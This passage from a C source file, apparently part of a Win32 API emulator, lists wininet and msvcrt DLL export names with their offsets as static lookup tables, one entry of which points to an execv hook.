0x0004874C, NULL, NULL}, {"FreeUrlCacheSpaceA", 0x0006EEDD, NULL, NULL}, {"FreeUrlCacheSpaceW", 0x0006FECC, NULL, NULL}, {"FtpCommandA", 0x00053505, NULL, NULL}, {"FtpCommandW", 0x00054E73, NULL, NULL}, {"FtpCreateDirectoryA", 0x00052E41, NULL, NULL}, {"FtpCreateDirectoryW", 0x00054BE0, NULL, NULL}, {"FtpDeleteFileA", 0x00052AA1, NULL, NULL}, {"FtpDeleteFileW", 0x000549B6, NULL, NULL}, {"FtpFindFirstFileA", 0x0005454D, NULL, NULL}, {"FtpFindFirstFileW", 0x000548BD, NULL, NULL}, {"FtpGetCurrentDirectoryA", 0x0005335C, NULL, NULL}, {"FtpGetCurrentDirectoryW", 0x00054D8D, NULL, NULL}, {"FtpGetFileA", 0x00051DD1, NULL, NULL}, {"FtpGetFileEx", 0x0005558F, NULL, NULL}, {"FtpGetFileSize", 0x0005372C, NULL, NULL}, {"FtpGetFileW", 0x00054F21, NULL, NULL}, {"FtpOpenFileA", 0x00054573, NULL, NULL}, {"FtpOpenFileW", 0x00054B49, NULL, NULL}, {"FtpPutFileA", 0x00051EE7, NULL, NULL}, {"FtpPutFileEx", 0x0005560D, NULL, NULL}, {"FtpPutFileW", 0x00055249, NULL, NULL}, {"FtpRemoveDirectoryA", 0x00053005, NULL, NULL}, {"FtpRemoveDirectoryW", 0x00054C71, NULL, NULL}, {"FtpRenameFileA", 0x00052C5B, NULL, NULL}, {"FtpRenameFileW", 0x00054A47, NULL, NULL}, {"FtpSetCurrentDirectoryA", 0x000531A7, NULL, NULL}, {"FtpSetCurrentDirectoryW", 0x00054CFF, NULL, NULL}, {"GetUrlCacheConfigInfoA", 0x000720B2, NULL, NULL}, {"GetUrlCacheConfigInfoW", 0x0006F55D, NULL, NULL}, {"GetUrlCacheEntryInfoA", 0x00021AF9, NULL, NULL}, {"GetUrlCacheEntryInfoExA", 0x000064BE, NULL, NULL}, {"GetUrlCacheEntryInfoExW", 0x0002688D, NULL, NULL}, {"GetUrlCacheEntryInfoW", 0x0006FBD0, NULL, NULL}, {"GetUrlCacheGroupAttributeA", 0x0006EF9E, NULL, NULL}, {"GetUrlCacheGroupAttributeW", 0x0006F314, NULL, NULL}, {"GetUrlCacheHeaderData", 0x000075B2, NULL, NULL}, {"GopherCreateLocatorA", 0x00058F21, NULL, NULL}, {"GopherCreateLocatorW", 0x0005A224, NULL, NULL}, {"GopherFindFirstFileA", 0x0005989F, NULL, NULL}, {"GopherFindFirstFileW", 0x0005A456, NULL, NULL}, {"GopherGetAttributeA", 0x0005A212, NULL, NULL}, {"GopherGetAttributeW", 0x0005A212, NULL, NULL}, {"GopherGetLocatorTypeA", 0x0005914D, NULL, NULL}, {"GopherGetLocatorTypeW", 0x0005A3DA, NULL, NULL}, {"GopherOpenFileA", 0x00059DD4, NULL, NULL}, {"GopherOpenFileW", 0x0005A60D, NULL, NULL}, {"HttpAddRequestHeadersA", 0x000140B2, NULL, NULL}, {"HttpAddRequestHeadersW", 0x0001EEF5, NULL, NULL}, {"HttpCheckDavCompliance", 0x0006189D, NULL, NULL}, {"HttpEndRequestA", 0x00061E8F, NULL, NULL}, {"HttpEndRequestW", 0x00061EC1, NULL, NULL}, {"HttpOpenRequestA", 0x000136AD, NULL, NULL}, {"HttpOpenRequestW", 0x0001F3F9, NULL, NULL}, {"HttpQueryInfoA", 0x0001780A, NULL, NULL}, {"HttpQueryInfoW", 0x00025FCA, NULL, NULL}, {"HttpSendRequestA", 0x00016249, NULL, NULL}, {"HttpSendRequestExA", 0x00061E29, NULL, NULL}, {"HttpSendRequestExW", 0x0001E9C1, NULL, NULL}, {"HttpSendRequestW", 0x00061D24, NULL, NULL}, {"IncrementUrlCacheHeaderData", 0x00070BAE, NULL, NULL}, {"InternetAlgIdToStringA", 0x0007A4E4, NULL, NULL}, {"InternetAlgIdToStringW", 0x00049995, NULL, NULL}, {"InternetAttemptConnect", 0x00047684, NULL, NULL}, {"InternetAutodial", 0x000429F8, NULL, NULL}, {"InternetAutodialCallback", 0x00042E89, NULL, NULL}, {"InternetAutodialHangup", 0x00042D5B, NULL, NULL}, {"InternetCanonicalizeUrlA", 0x0001302F, NULL, NULL}, {"InternetCanonicalizeUrlW", 0x00021922, NULL, NULL}, {"InternetCheckConnectionA", 0x000482FA, NULL, NULL}, {"InternetCheckConnectionW", 0x000497D2, NULL, NULL}, {"InternetClearAllPerSiteCookieDecisions", 0x00062BE2, NULL, NULL}, {"InternetCloseHandle", 0x00014D6C, NULL, NULL}, {"InternetCombineUrlA", 0x000242E0, NULL, NULL}, {"InternetCombineUrlW", 0x00048B07, NULL, NULL}, {"InternetConfirmZoneCrossing", 0x0007C751, NULL, NULL}, {"InternetConfirmZoneCrossingA", 0x0007C751, NULL, NULL}, {"InternetConfirmZoneCrossingW", 0x0007C79D, NULL, NULL}, {"InternetConnectA", 0x000130C3, NULL, NULL}, {"InternetConnectW", 0x0001EE00, NULL, NULL}, {"InternetCrackUrlA", 0x000173DC, NULL, NULL}, {"InternetCrackUrlW", 0x00048CCE, NULL, NULL}, {"InternetCreateUrlA", 0x0001256F, NULL, NULL}, {"InternetCreateUrlW", 0x0004900B, NULL, NULL}, {"InternetDial", 0x0004286A, NULL, NULL}, {"InternetDialA", 0x0004286A, NULL, NULL}, {"InternetDialW", 0x00042317, NULL, NULL}, {"InternetEnumPerSiteCookieDecisionA", 0x00062AC0, NULL, NULL}, {"InternetEnumPerSiteCookieDecisionW", 0x00062B39, NULL, NULL}, {"InternetErrorDlg", 0x0007C34D, NULL, NULL}, {"InternetFindNextFileA", 0x00047E88, NULL, NULL}, {"InternetFindNextFileW", 0x00048BB2, NULL, NULL}, {"InternetFortezzaCommand", 0x0004D5B6, NULL, NULL}, {"InternetGetCertByURL", 0x000473FC, NULL, NULL}, {"InternetGetCertByURLA", 0x000473FC, NULL, NULL}, {"InternetGetConnectedState", 0x00025C2E, NULL, NULL}, {"InternetGetConnectedStateEx", 0x0002721D, NULL, NULL}, {"InternetGetConnectedStateExA", 0x0002721D, NULL, NULL}, {"InternetGetConnectedStateExW", 0x0002363E, NULL, NULL}, {"InternetGetCookieA", 0x00064BA9, NULL, NULL}, {"InternetGetCookieExA", 0x00029506, NULL, NULL}, {"InternetGetCookieExW", 0x0002941B, NULL, NULL}, {"InternetGetCookieW", 0x000271FA, NULL, NULL}, {"InternetGetLastResponseInfoA", 0x000474DC, NULL, NULL}, {"InternetGetLastResponseInfoW", 0x00049723, NULL, NULL}, {"InternetGetPerSiteCookieDecisionA", 0x0006296E, NULL, NULL}, {"InternetGetPerSiteCookieDecisionW", 0x000629BF, NULL, NULL}, {"InternetGoOnline", 0x000431EA, NULL, NULL}, {"InternetGoOnlineA", 0x000431EA, NULL, NULL}, {"InternetGoOnlineW", 0x000430B1, NULL, NULL}, {"InternetHangUp", 0x000428ED, NULL, NULL}, {"InternetInitializeAutoProxyDll", 0x0005D45B, NULL, NULL}, {"InternetLockRequestFile", 0x0001C624, NULL, NULL}, {"InternetOpenA", 0x000158BA, NULL, NULL}, {"InternetOpenUrlA", 0x00015B6D, NULL, NULL}, {"InternetOpenUrlW", 0x00025B52, NULL, NULL}, {"InternetOpenW", 0x0000AEFD, NULL, NULL}, {"InternetQueryDataAvailable", 0x00028A17, NULL, NULL}, {"InternetQueryFortezzaStatus", 0x0004D555, NULL, NULL}, {"InternetQueryOptionA", 0x00007138, NULL, NULL}, {"InternetQueryOptionW", 0x00025A3F, NULL, NULL}, {"InternetReadFile", 0x000180F4, NULL, NULL}, {"InternetReadFileExA", 0x00048160, NULL, NULL}, {"InternetReadFileExW", 0x00047459, NULL, NULL}, {"InternetSecurityProtocolToStringA", 0x0007A588, NULL, NULL}, {"InternetSecurityProtocolToStringW", 0x00049A6B, NULL, NULL}, {"InternetSetCookieA", 0x00064D8F, NULL, NULL}, {"InternetSetCookieExA", 0x000650D3, NULL, NULL}, {"InternetSetCookieExW", 0x00064DBA, NULL, NULL}, {"InternetSetCookieW", 0x00065136, NULL, NULL}, {"InternetSetDialState", 0x000420C3, NULL, NULL}, {"InternetSetDialStateA", 0x000420C3, NULL, NULL}, {"InternetSetDialStateW", 0x000420E6, NULL, NULL}, {"InternetSetFilePointer", 0x0004746B, NULL, NULL}, {"InternetSetOptionA", 0x0000B1A5, NULL, NULL}, {"InternetSetOptionExA", 0x00049CA8, NULL, NULL}, {"InternetSetOptionExW", 0x00049CD9, NULL, NULL}, {"InternetSetOptionW", 0x0000BBED, NULL, NULL}, {"InternetSetPerSiteCookieDecisionA", 0x00062806, NULL, NULL}, {"InternetSetPerSiteCookieDecisionW", 0x00062880, NULL, NULL}, {"InternetSetStatusCallback", 0x00029084, NULL, NULL}, {"InternetSetStatusCallbackA", 0x00029084, NULL, NULL}, {"InternetSetStatusCallbackW", 0x00048CB3, NULL, NULL}, {"InternetShowSecurityInfoByURL", 0x0004799D, NULL, NULL}, {"InternetShowSecurityInfoByURLA", 0x0004799D, NULL, NULL}, {"InternetShowSecurityInfoByURLW", 0x000498B5, NULL, NULL}, {"InternetTimeFromSystemTime", 0x00029D18, NULL, NULL}, {"InternetTimeFromSystemTimeA", 0x00029D18, NULL, NULL}, {"InternetTimeFromSystemTimeW", 0x0006547A, NULL, NULL}, {"InternetTimeToSystemTime", 0x0006542B, NULL, NULL}, {"InternetTimeToSystemTimeA", 0x0006542B, NULL, NULL}, {"InternetTimeToSystemTimeW", 0x00065517, NULL, NULL}, {"InternetUnlockRequestFile", 0x0001B9CE, NULL, NULL}, {"InternetWriteFile", 0x00047C19, NULL, NULL}, {"InternetWriteFileExA", 0x00047459, NULL, NULL}, {"InternetWriteFileExW", 0x00047459, NULL, NULL}, {"IsHostInProxyBypassList", 0x00023350, NULL, NULL}, {"IsUrlCacheEntryExpiredA", 0x0006F07A, NULL, NULL}, {"IsUrlCacheEntryExpiredW", 0x00070170, NULL, NULL}, {"LoadUrlCacheContent", 0x00070BDE, NULL, NULL}, {"ParseX509EncodedCertificateForListBoxEntry", 0x0007A686, NULL, NULL}, {"PrivacyGetZonePreferenceW", 0x00061077, NULL, NULL}, {"PrivacySetZonePreferenceW", 0x00060EFB, NULL, NULL}, {"ReadUrlCacheEntryStream", 0x0002986B, NULL, NULL}, {"RegisterUrlCacheNotification", 0x00070DB3, NULL, NULL}, {"ResumeSuspendedDownload", 0x0004C656, NULL, NULL}, {"RetrieveUrlCacheEntryFileA", 0x0006EB8B, NULL, NULL}, {"RetrieveUrlCacheEntryFileW", 0x000708F9, NULL, NULL}, {"RetrieveUrlCacheEntryStreamA", 0x0006EC05, NULL, NULL}, {"RetrieveUrlCacheEntryStreamW", 0x0007091C, NULL, NULL}, {"RunOnceUrlCache", 0x0007111D, NULL, NULL}, {"SetUrlCacheConfigInfoA", 0x00072FB8, NULL, NULL}, {"SetUrlCacheConfigInfoW", 0x0006F5F5, NULL, NULL}, {"SetUrlCacheEntryGroup", 0x0006EF25, NULL, NULL}, {"SetUrlCacheEntryGroupA", 0x0006EF25, NULL, NULL}, {"SetUrlCacheEntryGroupW", 0x00070255, NULL, NULL}, {"SetUrlCacheEntryInfoA", 0x0006ED82, NULL, NULL}, {"SetUrlCacheEntryInfoW", 0x0006FBF2, NULL, NULL}, {"SetUrlCacheGroupAttributeA", 0x0006F018, NULL, NULL}, {"SetUrlCacheGroupAttributeW", 0x0006F3C9, NULL, NULL}, {"SetUrlCacheHeaderData", 0x00070B7E, NULL, NULL}, {"ShowCertificate", 0x0007A66E, NULL, NULL}, {"ShowClientAuthCerts", 0x0007A67B, NULL, NULL}, {"ShowSecurityInfo", 0x0007B135, NULL, NULL}, {"ShowX509EncodedCertificate", 0x0007BACB, NULL, NULL}, {"UnlockUrlCacheEntryFile", 0x00027D5C, NULL, NULL}, {"UnlockUrlCacheEntryFileA", 0x00027D5C, NULL, NULL}, {"UnlockUrlCacheEntryFileW", 0x0006FFAF, NULL, NULL}, {"UnlockUrlCacheEntryStream", 0x00027CC2, NULL, NULL}, {"UpdateUrlCacheContentPath", 0x00070C50, NULL, NULL}, {"UrlZonesDetach", 0x00069802, NULL, NULL}, {"_GetFileExtensionFromUrl", 0x0004DE5F, NULL, NULL}, {0,0,NULL}, }; struct emu_env_w32_dll_export msvcrt_exports[] = { {"??0__non_rtti_object@@QAE@ABV0@@Z", 0x0001164B, NULL, NULL}, {"??0__non_rtti_object@@QAE@PBD@Z", 0x00011629, NULL, NULL}, {"??0bad_cast@@AAE@PBQBD@Z", 0x000115C2, NULL, NULL}, {"??0bad_cast@@QAE@ABQBD@Z", 0x000115C2, NULL, NULL}, {"??0bad_cast@@QAE@ABV0@@Z", 0x00011590, NULL, NULL}, {"??0bad_cast@@QAE@PBD@Z", 0x0001156D, NULL, NULL}, {"??0bad_typeid@@QAE@ABV0@@Z", 0x00011607, NULL, NULL}, {"??0bad_typeid@@QAE@PBD@Z", 0x000115E4, NULL, NULL}, {"??0exception@@QAE@ABQBD@Z", 0x00011498, NULL, NULL}, {"??0exception@@QAE@ABV0@@Z", 0x000114E7, NULL, NULL}, {"??0exception@@QAE@XZ", 0x00011482, NULL, NULL}, {"??1__non_rtti_object@@UAE@XZ", 0x0001166D, NULL, NULL}, {"??1bad_cast@@UAE@XZ", 0x000115B2, NULL, NULL}, {"??1bad_typeid@@UAE@XZ", 0x0001166D, NULL, NULL}, {"??1exception@@UAE@XZ", 0x00011540, NULL, NULL}, {"??1type_info@@UAE@XZ", 0x00011868, NULL, NULL}, {"??2@YAPAXI@Z", 0x00019CC5, NULL, NULL}, {"??3@YAXPAX@Z", 0x00019CDD, NULL, NULL}, {"??4__non_rtti_object@@QAEAAV0@ABV0@@Z", 0x0001184C, NULL, NULL}, {"??4bad_cast@@QAEAAV0@ABV0@@Z", 0x00011830, NULL, NULL}, {"??4bad_typeid@@QAEAAV0@ABV0@@Z", 0x00011830, NULL, NULL}, {"??4exception@@QAEAAV0@ABV0@@Z", 0x00011808, NULL, NULL}, {"??8type_info@@QBEHABV0@@Z", 0x00011898, NULL, NULL}, {"??9type_info@@QBEHABV0@@Z", 0x000118E1, NULL, NULL}, {"??_7__non_rtti_object@@6B@", 0x000013F8, NULL, NULL}, {"??_7bad_cast@@6B@", 0x000013E0, NULL, NULL}, {"??_7bad_typeid@@6B@", 0x000013EC, NULL, NULL}, {"??_7exception@@6B@", 0x000013C0, NULL, NULL}, {"??_E__non_rtti_object@@UAEPAXI@Z", 0x0001178F, NULL, NULL}, {"??_Ebad_cast@@UAEPAXI@Z", 0x0001172C, NULL, NULL}, {"??_Ebad_typeid@@UAEPAXI@Z", 0x0001178F, NULL, NULL}, {"??_Eexception@@UAEPAXI@Z", 0x000116A3, NULL, NULL}, {"??_Fbad_cast@@QAEXXZ", 0x000116F6, NULL, NULL}, {"??_Fbad_typeid@@QAEXXZ", 0x0001177F, NULL, NULL}, {"??_G__non_rtti_object@@UAEPAXI@Z", 0x000117E2, NULL, NULL}, {"??_Gbad_cast@@UAEPAXI@Z", 0x00011706, NULL, NULL}, {"??_Gbad_typeid@@UAEPAXI@Z", 0x000117E2, NULL, NULL}, {"??_Gexception@@UAEPAXI@Z", 0x0001167D, NULL, NULL}, {"??_U@YAPAXI@Z", 0x00019CED, NULL, NULL}, {"??_V@YAXPAX@Z", 0x00019CFD, NULL, NULL}, {"__uncaught_exception", 0x00011BB1, NULL, NULL}, {"?_query_new_handler@@YAP6AHI@ZXZ", 0x00019D3B, NULL, NULL}, {"?_query_new_mode@@YAHXZ", 0x00019D94, NULL, NULL}, {"?_set_new_handler@@YAP6AHI@ZP6AHI@Z@Z", 0x00019D0D, NULL, NULL}, {"?_set_new_mode@@YAHH@Z", 0x00019D6C, NULL, NULL}, {"?_set_se_translator@@YAP6AXIPAU_EXCEPTION_POINTERS@@@ZP6AXI0@Z@Z", 0x000125AD, NULL, NULL}, {"?before@type_info@@QBEHABV1@@Z", 0x0001192A, NULL, NULL}, {"?name@type_info@@QBEPBDXZ", 0x000125D0, NULL, NULL}, {"?raw_name@type_info@@QBEPBDXZ", 0x00011973, NULL, NULL}, {"?set_new_handler@@YAP6AXXZP6AXXZ@Z", 0x00019D9F, NULL, NULL}, {"?set_terminate@@YAP6AXXZP6AXXZ@Z", 0x00012567, NULL, NULL}, {"?set_unexpected@@YAP6AXXZP6AXXZ@Z", 0x0001258A, NULL, NULL}, {"?terminate@@YAXXZ", 0x0001266D, NULL, NULL}, {"?unexpected@@YAXXZ", 0x000126A7, NULL, NULL}, {"?what@exception@@UBEPBDXZ", 0x0001155B, NULL, NULL}, {"$I10_OUTPUT", 0x0003B2ED, NULL, NULL}, {"_CIacos", 0x0003CA40, NULL, NULL}, {"_CIasin", 0x0003CB10, NULL, NULL}, {"_CIatan", 0x0003CC20, NULL, NULL}, {"_CIatan2", 0x0003CD0A, NULL, NULL}, {"_CIcos", 0x0003CD20, NULL, NULL}, {"_CIcosh", 0x0003CE02, NULL, NULL}, {"_CIexp", 0x0003CE5C, NULL, NULL}, {"_CIfmod", 0x0003CEBA, NULL, NULL}, {"_CIlog", 0x0003CF20, NULL, NULL}, {"_CIlog10", 0x0003D080, NULL, NULL}, {"_CIpow", 0x0003D1E0, NULL, NULL}, {"_CIsin", 0x0003D430, NULL, NULL}, {"_CIsinh", 0x0003CDF8, NULL, NULL}, {"_CIsqrt", 0x0003D4F0, NULL, NULL}, {"_CItan", 0x0003D5B0, NULL, NULL}, {"_CItanh", 0x0003CE09, NULL, NULL}, {"_CxxThrowException", 0x000126F6, NULL, NULL}, {"_EH_prolog", 0x00012738, NULL, NULL}, {"_Getdays", 0x00038450, NULL, NULL}, {"_Getmonths", 0x00038509, NULL, NULL}, {"_Gettnames", 0x000385C7, NULL, NULL}, {"_HUGE", 0x000504F0, NULL, NULL}, {"_Strftime", 0x00039094, NULL, NULL}, {"_XcptFilter", 0x00022DAE, NULL, NULL}, {"__CxxCallUnwindDtor", 0x00011D1D, NULL, NULL}, {"__CxxDetectRethrow", 0x00011C33, NULL, NULL}, {"__CxxExceptionFilter", 0x0001207D, NULL, NULL}, {"__CxxFrameHandler", 0x000127FA, NULL, NULL}, {"__CxxLongjmpUnwind", 0x00012837, NULL, NULL}, {"__CxxQueryExceptionSize", 0x00011D14, NULL, NULL}, {"__CxxRegisterExceptionObject", 0x00011BC9, NULL, NULL}, {"__CxxUnregisterExceptionObject", 0x00011C8B, NULL, NULL}, {"__DestructExceptionObject", 0x00011B41, NULL, NULL}, {"__RTCastToVoid", 0x00012D19, NULL, NULL}, {"__RTDynamicCast", 0x00013079, NULL, NULL}, {"__RTtypeid", 0x00012BBA, NULL, NULL}, {"__STRINGTOLD", 0x0003B9CE, NULL, NULL}, {"___lc_codepage_func", 0x000230F4, NULL, NULL}, {"___lc_handle_func", 0x00023112, NULL, NULL}, {"___mb_cur_max_func", 0x000230E9, NULL, NULL}, {"___setlc_active_func", 0x00023130, NULL, NULL}, {"___unguarded_readlc_active_add_func", 0x0002313B, NULL, NULL}, {"__argc", 0x00051A28, NULL, NULL}, {"__argv", 0x00051A2C, NULL, NULL}, {"__badioinfo", 0x0004F310, NULL, NULL}, {"__crtCompareStringA", 0x00023DA5, NULL, NULL}, {"__crtCompareStringW", 0x00024157, NULL, NULL}, {"__crtGetLocaleInfoW", 0x000243AE, NULL, NULL}, {"__crtGetStringTypeW", 0x000244E3, NULL, NULL}, {"__crtLCMapStringA", 0x00024715, NULL, NULL}, {"__crtLCMapStringW", 0x00024AE6, NULL, NULL}, {"__dllonexit", 0x00024E51, NULL, NULL}, {"__doserrno", 0x0000F2CA, NULL, NULL}, {"__fpecode", 0x00024FB8, NULL, NULL}, {"__getmainargs", 0x0000EEEB, NULL, NULL}, {"__initenv", 0x00051A38, NULL, NULL}, {"__iob_func", 0x0000F207, NULL, NULL}, {"__isascii", 0x0000BE0A, NULL, NULL}, {"__iscsym", 0x0000BE57, NULL, NULL}, {"__iscsymf", 0x0000BE33, NULL, NULL}, {"__lc_codepage", 0x000518B4, NULL, NULL}, {"__lc_collate_cp", 0x000518B8, NULL, NULL}, {"__lc_handle", 0x0005189C, NULL, NULL}, {"__lconv_init", 0x0002530B, NULL, NULL}, {"__mb_cur_max", 0x0004F97C, NULL, NULL}, {"__p___argc", 0x0000F183, NULL, NULL}, {"__p___argv", 0x0000F18E, NULL, NULL}, {"__p___initenv", 0x0000F1F1, NULL, NULL}, {"__p___mb_cur_max", 0x0000F228, NULL, NULL}, {"__p___wargv", 0x0000F199, NULL, NULL}, {"__p___winitenv", 0x0000F1FC, NULL, NULL}, {"__p__acmdln", 0x0000F162, NULL, NULL}, {"__p__amblksiz", 0x0000F178, NULL, NULL}, {"__p__commode", 0x0000F1A4, NULL, NULL}, {"__p__daylight", 0x0000F1AF, NULL, NULL}, {"__p__dstbias", 0x0000F1BA, NULL, NULL}, {"__p__environ", 0x0000F1C5, NULL, NULL}, {"__p__fileinfo", 0x0000F1E6, NULL, NULL}, {"__p__fmode", 0x0000F1DB, NULL, NULL}, {"__p__iob", 0x0000F207, NULL, NULL}, {"__p__mbcasemap", 0x0000F21D, NULL, NULL}, {"__p__mbctype", 0x0000F212, NULL, NULL}, {"__p__osver", 0x0000F233, NULL, NULL}, {"__p__pctype", 0x0000F23E, NULL, NULL}, {"__p__pgmptr", 0x0000F254, NULL, NULL}, {"__p__pwctype", 0x0000F249, NULL, NULL}, {"__p__timezone", 0x0000F26A, NULL, NULL}, {"__p__tzname", 0x0000F275, NULL, NULL}, {"__p__wcmdln", 0x0000F16D, NULL, NULL}, {"__p__wenviron", 0x0000F1D0, NULL, NULL}, {"__p__winmajor", 0x0000F280, NULL, NULL}, {"__p__winminor", 0x0000F28B, NULL, NULL}, {"__p__winver", 0x0000F296, NULL, NULL}, {"__p__wpgmptr", 0x0000F25F, NULL, NULL}, {"__pctype_func", 0x0002533D, NULL, NULL}, {"__pioinfo", 0x00052440, NULL, NULL}, {"__pxcptinfoptrs", 0x00024FC6, NULL, NULL}, {"__set_app_type", 0x0002537C, NULL, NULL}, {"__setlc_active", 0x0005278C, NULL, NULL}, {"__setusermatherr", 0x0003D675, NULL, NULL}, {"__threadhandle", 0x0002A11A, NULL, NULL}, {"__threadid", 0x0002A10F, NULL, NULL}, {"__toascii", 0x0000BE21, NULL, NULL}, {"__unDName", 0x00017897, NULL, NULL}, {"__unDNameEx", 0x0001793C, NULL, NULL}, {"__unguarded_readlc_active", 0x00052790, NULL, NULL}, {"__wargv", 0x00051A30, NULL, NULL}, {"__wcserror", 0x00025390, NULL, NULL}, {"__wgetmainargs", 0x0000EE8A, NULL, NULL}, {"__winitenv", 0x00051A40, NULL, NULL}, {"_abnormal_termination", 0x00025517, NULL, NULL}, {"_access", 0x0000F355, NULL, NULL}, {"_acmdln", 0x000517AC, NULL, NULL}, {"_adj_fdiv_m16i", 0x0003DD24, NULL, NULL}, {"_adj_fdiv_m32", 0x0003DC8C, NULL, NULL}, {"_adj_fdiv_m32i", 0x0003DD58, NULL, NULL}, {"_adj_fdiv_m64", 0x0003DCD8, NULL, NULL}, {"_adj_fdiv_r", 0x0003D7C7, NULL, NULL}, {"_adj_fdivr_m16i", 0x0003DE24, NULL, NULL}, {"_adj_fdivr_m32", 0x0003DD8C, NULL, NULL}, {"_adj_fdivr_m32i", 0x0003DE58, NULL, NULL}, {"_adj_fdivr_m64", 0x0003DDD8, NULL, NULL}, {"_adj_fpatan", 0x0003E435, NULL, NULL}, {"_adj_fprem", 0x0003E0BC, NULL, NULL}, {"_adj_fprem1", 0x0003E374, NULL, NULL}, {"_adj_fptan", 0x0003E438, NULL, NULL}, {"_adjust_fdiv", 0x000523D8, NULL, NULL}, {"_aexit_rtn", 0x0004D000, NULL, NULL}, {"_aligned_free", 0x00019E33, NULL, NULL}, {"_aligned_malloc", 0x00019E52, NULL, NULL}, {"_aligned_offset_malloc", 0x00019DAF, NULL, NULL}, {"_aligned_offset_realloc", 0x00019E6E, NULL, NULL}, {"_aligned_realloc", 0x00019FC6, NULL, NULL}, {"_amsg_exit", 0x0000F125, NULL, NULL}, {"_assert", 0x00025566, NULL, NULL}, {"_atodbl", 0x0003BE70, NULL, NULL}, {"_atoi64", 0x0000BF28, NULL, NULL}, {"_atoldbl", 0x0003BEB8, NULL, NULL}, {"_beep", 0x0000E10A, NULL, NULL}, {"_beginthread", 0x0002A26E, NULL, NULL}, {"_beginthreadex", 0x0002A3DB, NULL, NULL}, {"_c_exit", 0x00029ECE, NULL, NULL}, {"_cabs", 0x0003E6E8, NULL, NULL}, {"_callnewh", 0x00019D46, NULL, NULL}, {"_cexit", 0x00029EB6, NULL, NULL}, {"_cgets", 0x0001CAB0, NULL, NULL}, {"_cgetws", 0x0001CB91, NULL, NULL}, {"_chdir", 0x0000F3A5, NULL, NULL}, {"_chdrive", 0x0000F4AC, NULL, NULL}, {"_chgsign", 0x0003E736, NULL, NULL}, {"_chkesp", 0x00025BBC, NULL, NULL}, {"_chmod", 0x0000F53F, NULL, NULL}, {"_chsize", 0x0001CFAE, NULL, NULL}, {"_clearfp", 0x0003EDDA, NULL, NULL}, {"_close", 0x0001D0D7, NULL, NULL}, {"_commit", 0x0001D177, NULL, NULL}, {"_commode", 0x000521FC, NULL, NULL}, {"_control87", 0x0003EDF5, NULL, NULL}, {"_controlfp", 0x0003EE2F, NULL, NULL}, {"_copysign", 0x0003E70E, NULL, NULL}, {"_cprintf", 0x0002C388, NULL, NULL}, {"_cputs", 0x0001D238, NULL, NULL}, {"_cputws", 0x0001D35D, NULL, NULL}, {"_creat", 0x0001D40F, NULL, NULL}, {"_cscanf", 0x0002D0BB, NULL, NULL}, {"_ctime64", 0x000390EF, NULL, NULL}, {"_ctype", 0x000028A0, NULL, NULL}, {"_cwait", 0x000181BD, NULL, NULL}, {"_cwprintf", 0x0002DB3B, NULL, NULL}, {"_cwscanf", 0x0002E94F, NULL, NULL}, {"_daylight", 0x0004FFD4, NULL, NULL}, {"_dstbias", 0x0004FFD8, NULL, NULL}, {"_dup", 0x0001D4F4, NULL, NULL}, {"_dup2", 0x0001D70D, NULL, NULL}, {"_ecvt", 0x0000C0A2, NULL, NULL}, {"_endthread", 0x0002A194, NULL, NULL}, {"_endthreadex", 0x0002A307, NULL, NULL}, {"_environ", 0x00051A34, NULL, NULL}, {"_eof", 0x0001D7DD, NULL, NULL}, {"_errno", 0x0000F2BC, NULL, NULL}, {"_except_handler2", 0x00025BDC, NULL, NULL}, {"_except_handler3", 0x00025C94, NULL, NULL}, {"_execl", 0x00018253, NULL, NULL}, {"_execle", 0x00018270, NULL, NULL}, {"_execlp", 0x00018299, NULL, NULL}, {"_execlpe", 0x000182B3, NULL, NULL}, {"_execv", 0x000182DC, env_w32_hook__execv, NULL}, {"_execve", 0x00018351, NULL, NULL}, {"_execvp", 0x000184DF, NULL, NULL}, {"_execvpe", 0x000184FB, NULL, NULL}, {"_exit", 0x00029E9A, NULL, NULL}, {"_expand", 0x00019FE5, NULL, NULL}, {"_fcloseall", 0x0002E968, NULL, NULL}, {"_fcvt", 0x0000C054, NULL, NULL}, {"_fdopen", 0x0002EA08, NULL, NULL}, {"_fgetchar", 0x0002EB2A, NULL, NULL}, {"_fgetwchar", 0x0002EB45, NULL, NULL}, {"_filbuf", 0x0002EB60, NULL, NULL}, {"_fileinfo", 0x0004D2A0, NULL, NULL}, {"_filelength", 0x0001D8E2, NULL, NULL}, {"_filelengthi64", 0x0001D9BB, NULL, NULL}, {"_fileno", 0x0002EC4B, NULL, NULL}, {"_findclose", 0x0000E122, NULL, NULL}, {"_findfirst", 0x0000E1B8, NULL, NULL}, {"_findfirst64", 0x0000E3F8, NULL, NULL}, {"_findfirsti64", 0x0000E61B, NULL, NULL}, {"_findnext", 0x0000E2A4, NULL, NULL}, {"_findnext64", 0x0000E50C, NULL, NULL}, {"_findnexti64", 0x0000E726, NULL, NULL}, {"_finite", 0x0003EB1E, NULL, NULL}, {"_flsbuf", 0x0002EC5D, NULL, NULL}, {"_flushall", 0x0002EF4B, NULL, NULL}, {"_fmode", 0x0005185C, NULL, NULL}, {"_fpclass", 0x0003EB74, NULL, NULL}, {"_fpieee_flt", 0x0003F38E, NULL, NULL}, {"_fpreset", 0x0003EC17, NULL, NULL}, {"_fputchar", 0x0002EF59, NULL, NULL}, {"_fputwchar", 0x0002EF84, NULL, NULL}, {"_fsopen", 0x0002EFAF, NULL, NULL}, {"_fstat", 0x0001DAB4, NULL, NULL}, {"_fstat64", 0x0001DD75, NULL, NULL}, {"_fstati64", 0x0001E07A, NULL, NULL}, {"_ftime", 0x00039113, NULL, NULL}, {"_ftime64", 0x00039224, NULL, NULL}, {"_ftol", 0x0003FA10, NULL, NULL}, {"_fullpath", 0x0000F589, NULL, NULL}, {"_futime", 0x00039351, NULL, NULL}, {"_futime64", 0x000394DE, NULL, NULL}, {"_gcvt", 0x0000C0FA, NULL, NULL}, {"_get_heap_handle", 0x0001A401, NULL, NULL}, {"_get_osfhandle", 0x0001E468, NULL, NULL}, {"_get_sbh_threshold", 0x0001A40C, NULL, NULL}, {"_getch", 0x0001EAA1, NULL, NULL}, {"_getche", 0x0001EAC4, NULL, NULL}, {"_getcwd", 0x0000F785, NULL, NULL}, {"_getdcwd", 0x0000F7D0, NULL, NULL}, {"_getdiskfree", 0x0000E82C, NULL, NULL}, {"_getdllprocaddr", 0x000186B2, NULL, NULL}, {"_getdrive", 0x0000F452, NULL, NULL}, {"_getdrives", 0x0000E885, NULL, NULL}, {"_getmaxstdio", 0x0002F12C, NULL, NULL}, {"_getmbcp", 0x00020838, NULL, NULL}, {"_getpid", 0x0000F81C, NULL, NULL}, {"_getsystime", 0x00039671, NULL, NULL}, {"_getw", 0x0002F137, NULL, 